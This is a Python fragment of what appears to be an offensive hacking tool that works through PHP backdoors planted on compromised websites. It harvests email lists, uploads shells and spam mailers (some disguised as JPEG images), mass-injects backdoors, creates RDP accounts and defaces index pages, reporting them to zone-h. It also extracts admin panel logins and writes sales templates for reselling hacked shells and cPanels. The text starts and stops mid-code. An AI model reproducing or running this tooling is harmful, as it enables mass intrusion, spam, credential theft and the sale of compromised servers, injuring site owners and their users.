Number of Emails: {}{}'.format(fg, fr, mails_counter)) + print (' {}[+] Saved in {}Results/Emails_lists/{}_Single.txt'.format(fg, fr, domain_serv)) + else: print (' {}[-] There is no Emails.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_mass(backdoor, configsURL): + try: + sys.stdout.write(' {}[*] Trying get Mails '.format(fw)); waiting() + post_m = {'action': 'mails', 'url': configsURL} + try: gt_mail = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), data=post_m, headers=headers2, verify=False, timeout=1005)) + except: gt_mail = '' + if(gt_mail == ''): time.sleep(180) + post_e = {'action': 'email'} + gt_mail = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_e, headers2) + if ("" in gt_mail): + domain_serv = re.findall(re.compile('(.*)'), gt_mail)[0] + emails_p = shellPath_Fox(backdoor, 'Emails.txt', 1) + gt_mail = requestG_Fox(emails_p, 1, headers1, 505) + if('@' not in gt_mail): print (' {}[-] There is no Email.'.format(fr)); return + post_d = {'action': 'delete'} + requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_d, headers2) + patheListEmails = r'Results/Emails_lists' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + mails_counter = mail_filter(gt_mail) + if(int(mails_counter) == 0): print (' {}[-] There is no Email.'.format(fr)); return + open('Results/Emails_lists/{}_Configs.txt'.format(domain_serv), 'w').write(gt_mail) + open('Results/Emails_lists/0.0.0.0.All_Mails.txt', 'a').write('{}\n'.format(gt_mail)) + print (' {}[+] Number of Emails: {}{}'.format(fg, fr, mails_counter)) + print (' {}[+] Saved in {}Results/Emails_lists/{}_Configs.txt'.format(fg, fr, domain_serv)) + else : print (' {}[-] There is no Email.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_filter(mails): + mails_counter = 0 + try: + mails = mails.split('\n') + patheListEmails = r'Results/Emails_lists/Filtered_emails' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + ltds = ['mail.ru', '@icloud.', '@me.', '@outlook.', '@live.', '@hotmail.', '@msn.', '@web.', '@orange.', '@free.fr', '@wanadoo.fr', '@optonline.net', '@aol.', '@gmail.', '@comcast.', '@ntlworld.', '@charter.', '@yahoo.', '@sfr.', '@cox.', '@verizon.', '@att.', '@googlemail.', '@gmx.', '@ymail.'] + for mail in mails: + mail = str(mail.strip()) + if ('@' in mail): mails_counter = mails_counter + 1 + sus = 0 + for ltd in ltds: + if(str(ltd) in str(mail.lower())): + ltd2 = ltd + if(ltd2[-1] == '.'): ltd2 = ltd2.replace('.', '') + open('Results/Emails_lists/Filtered_emails/{}.txt'.format(ltd2), 'a').write('{}\n'.format(mail)) + sus = 1 + break + if (sus == 0): open('Results/Emails_lists/Filtered_emails/Other.txt', 'a').write('{}\n'.format(mail)) + return mails_counter + except: + return mails_counter + +def mailer_UPloader(backdoor, leafMailer): + try: + global success1 + sys.stdout.write(' {}[*] Uploading {}Leaf{} PHP Mailer '.format(fw, fg, fw)); waiting() + mailer_pass = random_Fox(9) + leafMailer = file_get_contents_Fox(leafMailer) + mailer_text = leafMailer.replace('FoxCyberSecurity', mailer_pass) + mailer_name = '{}.php'.format(random_Fox(8)) + mailer_path = shellPath_Fox(backdoor, mailer_name, 1) + filedata = {'action': 'upload'} + fileup = {'file': (mailer_name, mailer_text)} + try: upMailer = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=filedata, files=fileup, headers=headers2, verify=False, timeout=45)) + except: upMailer = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=filedata, files=fileup, headers=headers2, verify=False, timeout=60)) + if ('' in upMailer): + print (' {}[+] Succeeded.\n - {}{}?pass={}'.format(fg, fr, mailer_path, mailer_pass)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}?pass={}\n'.format(mailer_path, mailer_pass)); success1 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print(' {}[-] Upload Failed.'.format(fr)) + +def file_UPloader(backdoor, srcShell, tyShell, q, mothd = 1): + try: + if(mothd == 2): getFile('fox.jpg', '49631467080528197') + if (tyShell > 3): sys.stdout.write(' {}[*] Uploading File '.format(fw)); waiting() + if (q == 1): filename = '{}.php'.format(random_Fox(8)) + else: filename = srcShell + if (mothd == 2): filename_jpg = '{}.jpg'.format(random_Fox(3)) + if ('/' in filename): filename = filename.split('/')[-1] + if ('\\' in filename): filename = filename.split('\\')[-1] + if (tyShell == 2 or tyShell == 5): + mailer_pass = random_Fox(9) + srcShell = file_get_contents_Fox(srcShell) + srcShell = srcShell.replace('FoxCyberSecurity', mailer_pass) + else : srcShell = open(srcShell, 'rb') + if (tyShell == 2 or tyShell == 5): file_path = '{}?pass={}'.format(shellPath_Fox(backdoor, filename, 1), mailer_pass) + else : file_path = shellPath_Fox(backdoor, filename, 1) + filedata = {'action': 'upload'} + if (mothd == 2): fileup = {'file': (filename_jpg, '{}\n{}'.format(file_get_contents_Fox2('Files/fox.jpg'), srcShell))} + else: fileup = {'file': (filename, srcShell)} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + if (mothd == 2): + post = {'fname': filename_jpg, 'sname': filename} + try: rnme = requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post, headers=headers2, verify=False, timeout=45) + except: rnme = requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post, headers=headers2, verify=False, timeout=60) + print (' {}[+] Succeeded Upload.\n - {}{}'.format(fg, fr, file_path)) + if (tyShell == 2 or tyShell == 5): + print (' {}[+] Saved in {}Results/Leaf_PHP_Mailers.txt'.format(fg, fr)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}\n'.format(file_path)) + else: + print (' {}[+] Saved in {}Results/Shells.txt'.format(fg, fr)) + open('Results/Shells.txt', 'a').write('{}\n'.format(file_path)) + elif (mothd == 1): return file_UPloader(backdoor, srcShell, tyShell, q, 2) + else: + print (' {}[-] Upload Failed.'.format(fr)) + except : + print (' {}[-] Upload Failed.'.format(fr)) + +def file_Main_UPloader(backdoor, file, tyShell, q): + try: + if (tyShell > 3): sys.stdout.write(' {}[*] Uploading File '.format(fw)); waiting() + if (q == 1): filename = '{}.php'.format(random_Fox(8)) + else: filename = file + if ('/' in filename): filename = filename.split('/')[-1] + if ('\\' in filename): filename = filename.split('\\')[-1] + if (tyShell == 2 or tyShell == 5): + mailer_pass = random_Fox(9) + file = file_get_contents_Fox(file) + file = file.replace('FoxCyberSecurity', mailer_pass) + else: file = open(file, 'rb') + if (tyShell == 2 or tyShell == 5): file_path = '{}?pass={}'.format(shellPath_Fox(backdoor, filename, 2), mailer_pass) + else: file_path = shellPath_Fox(backdoor, filename, 2) + filedata = {'action': 'up'} + fileup = {'file': (filename, file)} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, file_path)) + if (tyShell == 2 or tyShell == 5): + print (' {}[+] Saved in {}Results/Leaf_PHP_Mailers.txt'.format(fg, fr)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}\n'.format(file_path)) + else: + print(' {}[+] Saved in {}Results/Shells.txt'.format(fg, fr)) + open('Results/Shells.txt', 'a').write('{}\n'.format(file_path)) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def index_UPloader_1(backdoor, index_path, z, attacker) : + try: + global success1 + sys.stdout.write(' {}[*] Uploading Index '.format(fw)); waiting() + index_name = index_path + if ('/' in index_name): index_name = index_name.split('/')[-1] + if ('\\' in index_name): index_name = index_name.split('\\')[-1] + filedata = {'action': 'up'} + fileup = {'file': (index_name, file_get_contents_Fox(index_path))} + index_path = shellPath_Fox(backdoor, index_name, 2) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, index_path)) + open('Results/indexS.txt', 'a').write('{}\n'.format(index_path)); success1 = 1 + if (z == 1): zone_h(index_path, attacker) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def index_UPloader_2(backdoor, index_path, z, attacker) : + try: + global success1 + sys.stdout.write(' {}[*] Uploading Index '.format(fw)); waiting() + post_i = {'action': 'index', 'index': file_get_contents_Fox(index_path)} + id_ed = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_i, headers2, 45) + if('./Done' in id_ed): + print(' {}[+] Succeeded.\n - {}{}'.format(fg, fr, URL_FOX(backdoor))) + open('Results/indexS.txt', 'a').write('{}\n'.format(URL_FOX(backdoor))); success1 = 1 + if (z == 1): zone_h(URL_FOX(backdoor), attacker) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def UNZIP(backdoor, zipFile): + try: + global success1 + sys.stdout.write(' {}[*] Uploading/Uncompress ZIP File '.format(fw)); waiting() + filedata = {'action': 'zip'} + zip_name = zipFile + if ('/' in zip_name): zip_name = zip_name.split('/')[-1] + if ('\\' in zip_name): zip_name = zip_name.split('\\')[-1] + fileup = {'file': (zip_name, open(zipFile, 'rb'), 'multipart/form-data')} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=500)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=1000)) + if (re.findall(re.compile('(.*)'), upFile)): + print (' {}[+] Succeeded UPload.'.format(fg)) + folder = re.findall(re.compile('(.*)'), upFile)[0] + post_z = {'action': 'zip', 'zips': zip_name, 'zipFolder': folder} + Uncompress = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_z, headers2, 30) + if('' in Uncompress): + zip_Path = '{}/'.format(shellPath_Fox(backdoor, folder, 1)) + print (' {}[+] Succeeded UNZIP.\n - {}{}'.format(fg, fr, zip_Path)) + open('Results/Pages.txt', 'a').write('{}\n'.format(zip_Path)); success1 = 1 + print(' {}[+] Saved in {}Results/Pages.txt'.format(fg, fr)) + else: print(' {}[-] Failed Uncompress ZIP.'.format(fr)) + else: print (' {}[-] Upload Failed.'.format(fr)) + except : + print(' {}[-] Failed.'.format(fr)) + +def sending_Checker(backdoor, shell): + try: + global success1, success2 + sys.stdout.write(' {}[*] Checking Sending Mail '.format(fw)); waiting() + filedata = {'action': 'upload'} + testname = 'tesT{}.php'.format(random_Fox(3)) + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/t1.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if ('' not in upFile): print(' {}[-] Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor, testname, 1) + email = getEmail() + if (email == 'F'): print (' {}[-] Try Later.'.format(fr)); return + post_t = {'email': email} + send_c = requestP_Fox(Test_path, 1, post_t, headers1) + if ('' in send_c): + id_code = re.findall(re.compile('(.*)'), send_c)[0] + time.sleep(10) + check_s = msg_chekcer_Fox(email, id_code) + start = timer() + while ((check_s == 'F') and ((timer() - start) <= 60)): + time.sleep(10) + check_s = msg_chekcer_Fox(email, id_code) + if(check_s == 'S'): + print (' {}[+] Sending mail is Working Well.'.format(fg)) + open('Results/SendingMail_Work.txt', 'a').write('{}\n'.format(shell)); success1 = 1 + else: + print (' {}[-] Sending mail isn\'t Working.'.format(fr)) + open('Results/SendingMail_NotWork.txt', 'a').write('{}\n'.format(shell)); success2 = 1 + else: print(' {}[-] Failed.'.format(fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def RDP_creator(backdoor, shell) : + try: + global success1 + sys.stdout.write(' {}[*] Creating RDP '.format(fw)); waiting() + post_g = {'action': 'rdp'} + RDP_C = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_g, headers2) + if ('Error-RDP3' in RDP_C): print(' {}[-] {} server.'.format(fr, re.findall(re.compile('(.*)'), RDP_C)[0])) + elif ('Error-RDP1' in RDP_C): print(' {}[-] There are no permissions.'.format(fr)) + elif ('' in RDP_C): + RDP = re.findall(re.compile('(.*)\|(.*)\|(.*)'), RDP_C)[0] + print (' {}[+] Succeeded.\n -{} Login by IP or Domain: {}{} {}|{} {}\n -{} USERNAME: {}{}\n -{} PASSWORD: {}{}'.format(fg, fr, fg, RDP[0], fr, fg, domain_Fox(backdoor), fr, fg, RDP[1], fr, fg, RDP[2])) + open('Results/RDPs.txt', 'a').write('{}\n{}:3389|{}|{}\n--------------------------------------------------------------------------------------------------\n'.format(shell, RDP[0], RDP[1], RDP[2])); success1 = 1 + if ('./DoneAdmin' in RDP_C): print (' {}[+] Administrator.'.format(fg)) + else: print (' {}[-] Failed.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def backdoor_Injection(backdoor): + try: + global success1 + sys.stdout.write(' {}[*] Injecting a backdoor '.format(fw)); waiting() + post_j = {'action': 'injection'} + injection = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_j, headers2) + if (re.findall(re.compile('(.*)'), injection)): + bk = re.findall(re.compile('(.*)'), injection)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, bk)) + open('Results/Injected_backdoors.txt', 'a').write('{}\n'.format(bk)); success1 = 1 + else: print (' {}[-] Failed.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def MASS_Backdoor(backdoor, shell_path): + try: + global success2 + sys.stdout.write(' {}[*] MASS backdoor '.format(fw)); waiting() + post_m = {'action': 'mass'} + shell_name = shell_path + if('/' in shell_name): shell_name = shell_name.split('/')[-1] + elif('\\' in shell_name): shell_name = shell_name.split('\\')[-1] + fileup = {'file': (shell_name, open(shell_path, 'rb'), 'multipart/form-data')} + try: injection = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=post_m, headers=headers2, verify=False, timeout=500)) + except: injection = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=post_m, headers=headers2, verify=False, timeout=1000)) + if (re.findall(re.compile('(.*)'), injection)): backdoors = re.findall(re.compile('(.*)'), injection) + else: print (' {}[-] Failed.'.format(fr)); return + newpath = r'Results/backdoors' + if (not os.path.exists(newpath)): os.makedirs(newpath) + domain = domain_Fox(backdoor) + for bk in backdoors: + open('Results/backdoors/{}.txt'.format(domain), 'a').write('{}\n'.format(bk)) + open('Results/backdoors/0.0-ALL-backdoors.txt', 'a').write('{}\n'.format(bk)) + success2 = 1 + print (' {}[+] Succeeded.'.format(fg)) + print (' {}[+] Saved in {}Results/backdoors/{}.txt'.format(fg, fr, domain)) + except : + print (' {}[-] Failed.'.format(fr)) + +def getLinks(backdoor, configsURL, source): + try: + links = '' + if(not re.findall(re.compile('Login: (.*) Username: (.*) Password: (.*)'), ac_pls)): print(' {}[-] There is no Panels.'.format(fr)); return False + panels = re.findall(re.compile('Login: (.*) Username: (.*) Password: (.*)'), ac_pls) + logins = []; wp = 0; jm = 0; oc = 0 + for panel in panels: + try: + panelURL = '{}#{}@{}'.format(panel[0], panel[1], panel[2]) + if ('wp-login.php' in panelURL): + print(' {} - {}{} {}[WordPress]'.format(fg, fw, panelURL, fg)) + open('Results/WordPress_Panels.txt', 'a').write(panelURL + '\n') + wp = 1 + elif ('administrator/index.php' in panelURL): + print(' {} - {}{} {}[Joomla]'.format(fg, fw, panelURL, fr)) + open('Results/Joomla_Panels.txt', 'a').write(panelURL + '\n') + jm = 1 + elif ('admin/index.php' in panelURL): + print(' {} - {}{} {}[OpenCart]'.format(fg, fw, panelURL, fc)) + open('Results/OpenCart_Panels.txt', 'a').write(panelURL + '\n') + oc = 1 + logins.append(panelURL) + except: + pass + if (logins): print(''); return logins, wp, jm, oc + print(' {}[-] There is no Panels.'.format(fr)); return False + except: + print(' {}[-] Failed.'.format(fr)); return False + +def panels(backdoor, configsURL, source, typeAc): + try: + sys.stdout.write(' {}[*] Access to control Panels '.format(fw)); waiting() + links = getLinks(backdoor, configsURL, source) + if(links is False): return False + return panel_accesser(backdoor, links, typeAc) + except: + pass + +def shellPathFinder(argument1,argument2): + shell='{}.php'.format(random_Fox((8))) + ssl._create_default_https_context = ssl._create_unverified_context + mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 60 + try : + mbrowser=mechanize.Browser() + mbrowser.set_handle_equiv((()==())) + mbrowser.set_handle_redirect((()==())) + mbrowser.set_handle_referer((()==())) + mbrowser.set_handle_robots((()==[])) + mbrowser.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36')] + mbrowser.open(argument1, timeout = 60) + if 'post' in argument2: + try: + mbrowser.select_form( method = "post", enctype = 'multipart/form-data') + except: + mbrowser.select_form( method = 'POST', enctype = 'multipart/form-data') + elif 'POST' in argument2: + mbrowser.select_form( method = 'POST', enctype = 'multipart/form-data') + elif 'Post' in argument2: + mbrowser.select_form( method = 'Post', enctype = 'multipart/form-data') + else : + return 'F' + if sys.version_info[0]< 3: + with open(shell,'ab') as fo: + fo.write( shell_Fox ) + else : + with open(shell,'a') as fo: + fo.write( shell_Fox ) + fo.close() + if sys.version_info[0]<3: + fo=open(shell,'rb') + else : + fo=open(shell,'r') + mbrowser.form.add_file(fo,'text/plain',shell) + mbrowser.submit() + fo.close() + os.remove(shell) + shellpath=shellPath_Fox(argument1,shell,1) + response=requestG_Fox(shellpath,1, headers1) + if ('KEY:' in response): + return shellpath + return 'F' + except : + try : + fo.close() + except : + pass + try : + os.remove(shell) + except : + pass + return "F" + +def FileFinder2(argument): + try : + filelist=['uploadfiles\\[\\]', 'uploadfiles', 'uploadfile\\[\\]', 'uploadfile', 'idx_files\\[\\]', 'idx_files', 'idx_file\\[\\]', 'idx_file', 'userfiles\\[\\]', 'userfiles', 'userfile\\[\\]', 'userfile', 'newfiles\\[\\]', 'newfiles', 'newfile\\[\\]', 'newfile', 'inputfiles\\[\\]', 'inputfiles', 'inputfile\\[\\]', 'inputfile', 'filenames\\[\\]', 'filenames', 'filename\\[\\]', 'filename', 'file_n\\[\\]', 'file_n', 'files\\[\\]', 'files', 'images\\[\\]', 'images', 'image\\[\\]', 'image', 'uploader\\[\\]', 'uploader', 'uploads\\[\\]', 'uploads', 'upload\\[\\]', 'upload', 'file\\[\\]', 'file', 'fu\\[\\]', 'fu', 'f\\[\\]', 'f', 'n\\[\\]', 'n'] + for item in filelist: + try : + splitted_string=argument.split('>') + for item2 in splitted_string: + if(re.findall(re.compile(regex.format(item)),item2) and re.findall(re.compile(str('type.*=.*file')),item2) and 'profile.php' not in item2): + regexlist=re.findall(re.compile(regex.format(item)),item2) + for item3 in regexlist: + item3=item3.split(item)[0] + if item3.count(str("=")) == 1: + if('\\' in item): item = item.replace('\\', '') + return str(item) + except : + pass + return False + except : + return False + +def file_SemiUPer(url, source): + try: + filename = '{}.php'.format(random_Fox(8)) + req = requests.session() + url = str(url) + if ('#' in url): + password = re.findall(re.compile('#(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + elif ('@' in url): + password = re.findall(re.compile('@(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + elif (';' in url): + password = re.findall(re.compile(';(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + if('BUbwxgj' in source): + filedata = {'a': 'BUbwxgj', 'p1': 'uploadFile', 'ne': '', 'charset': 'UTF-8', 'c': ''} + fileup = {'f[]': (filename, shell_Fox)} + elif ('
Password

OK' in p_zone): print(' {}[+] Succeed.'.format(fg)) + elif ('Domain has been defaced during last year' in p_zone): print(' {}[-] Domain has been defaced during last year.'.format(fr)) + elif ('banned' in p_zone): print(' {}[-] your IP is banned.'.format(fr)) + else: print(' {}[-] Failed.'.format(fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def solving_SH_Reports_S(backdoor, shell, email, test): + try: + global success2 + if('http://' in backdoor): backdoor = backdoor.replace('http://', 'https://') + if('http://' in shell): shell = shell.replace('http://', 'https://') + domain = domain_Fox(backdoor) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in alert_Fox[1]): print(' {}[-] Phishing.'.format(fr)); return + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + Test_path = shellPath_Fox(backdoor, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + post_e = {'email': email} + IDsend = requestP_Fox(Test_path, 1, post_e, headers1) + if (re.findall(re.compile('(.*)'), IDsend)): + ID_s = re.findall(re.compile('(.*)'), IDsend)[0] + print( ' {}[+] Check your Email, ID: {}{}'.format(fg, fr, ID_s)) + open('Results/Form_reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => \nProof for send results => \nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, Test_path, UNZIPper_path)); success2 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + +def solving_cP_Reports_S(ip, user, password, idcp, cookies, domain, home, email, test) : + try: + global success2 + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + req_Fox = requests.session() + postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'} + try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10)) + except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15)) + if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return + print (' {}[+] Domain is Working.'.format(fg)) + filename = '{}.php'.format(random_Fox(8)) + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + backdoor_path = 'https://{}/{}'.format(domain, filename) + time.sleep(5) + try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10)) + except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15)) + if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor_path, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + backdoor_path = check(backdoor_path) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + post_e = {'email': email} + IDsend = requestP_Fox(Test_path, 1, post_e, headers1) + if (re.findall(re.compile('(.*)'), IDsend)): + ID_s = re.findall(re.compile('(.*)'), IDsend)[0] + print( ' {}[+] Check your Email, ID: {}{}'.format(fg, fr, ID_s)) + open('Results/Form_reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => \nProof for send results => \nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, Test_path, UNZIPper_path)); success2 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + +def solving_SH_Reports_A(backdoor, shell, test): + try: + global success1 + delete_files('screenshots', 'png') + from selenium import webdriver + from imgurpython import ImgurClient + newpath = r'screenshots' + if (not os.path.exists(newpath)): os.makedirs(newpath) + if('http://' in backdoor): backdoor = backdoor.replace('http://', 'https://') + if('http://' in shell): shell = shell.replace('http://', 'https://') + domain = domain_Fox(backdoor) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + Test_path = shellPath_Fox(backdoor, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup_Test, data=filedata, headers=headers2, timeout=45)) + 